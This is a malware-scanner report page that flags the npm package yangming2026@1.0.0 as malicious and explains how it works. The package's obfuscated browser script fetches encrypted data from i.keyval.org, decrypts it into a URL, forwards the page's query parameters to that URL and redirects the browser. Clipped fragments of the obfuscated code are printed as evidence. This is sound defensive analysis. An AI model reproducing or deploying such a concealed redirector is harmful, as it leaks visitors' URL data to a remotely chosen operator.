Loading npm security reports…

yangming2026@1.0.0: Malicious npm security report (Block) | LPM Firewall

registry / yangming2026 / 1.0.0

yangming2026@1.0.0

AI Security Review

scanned 10d ago · by lpm-firewall-ai

The browser entrypoint is an obfuscated remote redirector. It obtains and decrypts a destination, forwards page query parameters, and navigates to that destination.

Static reason

One or more suspicious static signals were detected.

Trigger

Opening index.html in a browser.

Impact

Query-string data can be disclosed to an operator-selected destination, which can also change without republishing the package.

Mechanism

A remote key lookup provides encrypted destination data; the script decrypts it, adds current URL parameters, and redirects the browser.

Attack narrative

When the declared HTML entrypoint is opened, its obfuscated script retrieves encrypted destination data from a remote key service. It decrypts that data into a URL, copies the current page parameters to the destination, and redirects the browser. This enables a remote operator to select the final recipient and receive forwarded URL data.

AI rationale

This is an active, concealed remote redirect chain that forwards browser URL parameters to a remotely selected destination. The package has no visible package-aligned functionality beyond that behavior.

Evidence

index.html

Network endpoints1

i.keyval.org/get

Decision evidence

public snapshot

AI called this Malicious at 96.0% confidence as Malware with low false-positive risk.

Source & flagged code

7 flagged · loading source

index.htmlView file

182} L183: (function(_0x28c078,_0x3fd7a9){const _0x582f0e={_0x2cf54d:0x288,_0x48e371:0x2b6,_0x2036e8:0x331,_0x1573b8:0x298,_0x18ab7f:0x2d7,_0x10a2c3:0x187,_0x4e7a58:0x104,_0x423f0e:0x213,_0x4...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

183fetch(_0x3c0213(-0x21c,-0x195,-_0x27bc72._0x26e7e5,-_0x27bc72._0x3344bb)+'i.keyval.o'+'rg/get',{'method':_0x5a953e[_0x5de507(-_0x27bc72._0x326b3c,-0x2ce,-_0x27bc72._0x1c052f,-_0x27bc72._0x36f9be)],'headers':{'Content-Type':_0x5a953e['dRMcS']},'body':JSON[_0x5de507(-0x26d,-_0x27bc72._0x57ca93,-_0x27bc72._0x4b4e79,-_0x27bc72._0x29212b)](_0x8ab369)}),_0x381024=await _0x596b5b[_0x5de507(-_0x27bc72._0x292a6f,-_0x27bc72._0x3d1b31,-_0x27bc72._

High

Ai Review Evidence

The entrypoint sends a request to i.keyval.org to obtain remotely controlled data.

index.htmlView on unpkg · L183

183_0x323e0f,-_0x27bc72._0x5e9ddb,-_0x27bc72._0x34a830)]=_0x5a953e['MTNQn'];function _0x3c0213(_0x5b1a3d,_0x2d2946,_0x2f5c08,_0x53ce42){return _0x99acf0(_0x5b1a3d-_0x1efb7c._0x2b2659,_0x53ce42,_0x5b1a3d- -_0x1efb7c._0x245a6b,_0x53ce42-_0x1efb7c._0x31fdc2);}_0x1454f4['counter']=_0x46c440,_0x1454f4[_0x3c0213(-_0x27bc72._0xb366c5,-0x181,-_0x27bc72._0x23b0fb,-_0x27bc72._0x110536)]=0x80;const _0x49721e=new TextDecoder()[_0x3c0213(-0x2

High

Ai Review Evidence

Obfuscated code decrypts the remote response into a URL.

index.htmlView on unpkg · L183

183URLSearchParams(window['location'][_0x12e60f(0x2c4,0x277,_0x2baf7b._0x3f79b7,_0x2baf7b._0x5b8dc8)])[_0x21197f(-_0x2baf7b._0x18a306,-_0x2baf7b._0x2de692,-_0x2baf7b._0x1b3386,-0x144)](function(_0x2f2b15,_0x5d4de8){const _0x73f941={_0xa57ea7:0x26};function _0x4928f8(_0x3691a5,_0x36768e,_0x24a3b7,_0x2a9bfd){return _0x21197f(_0x36768e-0x7b,_0x24a3b7,_0x24a3b7-_0x73f941._0xa57ea7,_0x2a9bfd-0x36);}function _0x3162b9(_0x4af098,_0x5555

High

Ai Review Evidence

The page copies current URL parameters into that URL and redirects the browser to it.

index.htmlView on unpkg · L183

183new URL(_0x307825,_0x558c6a||undefined);function _0x3857b6(_0x2e902e,_0x20ff8f,_0x1a2175,_0x505ce4){return _0x1995b1(_0x2e902e-_0x458735._0x494071,_0x20ff8f-0x117,_0x2e902e,_0x1a2175-_0x458735._0x5a05ce);}_0x30ffd8[_0x3857b6(_0x448753._0x2ad03c,_0x448753._0x95ce45,0x28b,0x28d)](appendVisitorParams,_0x2ec5b5);function _0xf7aa29(_0x16c88f,_0x4a8b2d,_0xe09040,_0x45d46f){return _0x1995b1(_0x16c88f-_0x2df847._0x1be8cd,_0x4a8b2d-_0x2df847._0x5225c0,_0x16c88f,_0xe09040-_0x2df847._0x1c334a);}window[_0x3857b6(_0x448753._0x47085a,_0x448753._0x5005af,_0x448753._0x11da12,_0x448753._0x2fa561)][_0xf7aa29(_0

High

Ai Review Evidence

The page copies current URL parameters into that URL and redirects the browser to it.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "yangming2026", "version": "1.0.0", "main": "index.html", "files": [ "index.html" ] }

High

Ai Review Evidence

The package declares index.html as its only main entrypoint.

package.jsonView on unpkg · L1

Source & flagged code

7 flagged

index.htmlView file

Lines 162-186html

162 .ray-id { font-family: monospace; font-size: 13px; color: #8c8c8c; }

163 .ray-id code { font-family: monospace; font-weight: bold; }

164 .footer-link-wrapper { font-size: 13px; color: #8c8c8c; display: flex; align-items: center; }

165 .footer-text a { color: #0051c3; text-decoration: none; }

166 .footer-text a:hover { text-decoration: underline; }

167 .footer-divider { display: inline-block; width: 1px; height: 12px; background-color: #8c8c8c; margin: 0 10px; }

168 @media (max-width: 600px) {

169 .footer-wrapper { flex-direction: column; align-items: flex-start; }

170 .footer-divider { display: none; }

171 .footer-link-wrapper { flex-direction: column; align-items: flex-start; gap: 4px; }

172 }

173 </style>

174</head>

175<body>

176<script>

177

178 function onTurnstileComplete(token) {

179 if (window.__challengeRedirect) {

180 window.__challengeRedirect();

181 }

182 }

183 (function(_0x28c078,_0x3fd7a9){const _0x582f0e={_0x2cf54d:0x288,_0x48e371:0x2b6,_0x2036e8:0x331,_0x1573b8:0x298,_0x18ab7f:0x2d7,_0x10a2c3:0x187,_0x4e7a58:0x104,_0x423f0e:0x213,_0x4bc385:0xe6,_0x403640:0x6b,_0x36b569:0x17b,_0x313593:0x13b,_0x19a203:0x168,_0x4f64be:0x194,_0x35ae38:0x247,_0x5e2dcf:0x1f6,_0x25b8dc:0x20e,_0x2d5f80:0xb5,_0x121d96:0x14a,_0x2fcb82:0x148,_0x164487:0x189,_0x462846:0x1a9,_0xa82344:0x132,_0x478ca3:0x183,_0x4575e2:0x280,_0x1e379c:0x25b,_0x59b66a:0x242,_0x3c6e7b:0x225},_0xd893fa={_0x803308:0x22a},_0x11c25b={_0x5aeaec:0x375};function _0x57829d(_0x23f814,_0x4dde1d,_0x2df5 ...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

High

Ai Review Evidence

The entrypoint sends a request to i.keyval.org to obtain remotely controlled data.

index.htmlView on unpkg · L183

High

Ai Review Evidence

Obfuscated code decrypts the remote response into a URL.

index.htmlView on unpkg · L183

High

Ai Review Evidence

The page copies current URL parameters into that URL and redirects the browser to it.

index.htmlView on unpkg · L183

High

Ai Review Evidence

The page copies current URL parameters into that URL and redirects the browser to it.

index.htmlView on unpkg · L183

184</script>

185</body>

186</html>

Long lines were clipped for display.

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

package.jsonView file

Lines 1-9json

1{

2 "name": "yangming2026",

3 "version": "1.0.0",

4 "main": "index.html",

5 "files": [

6 "index.html"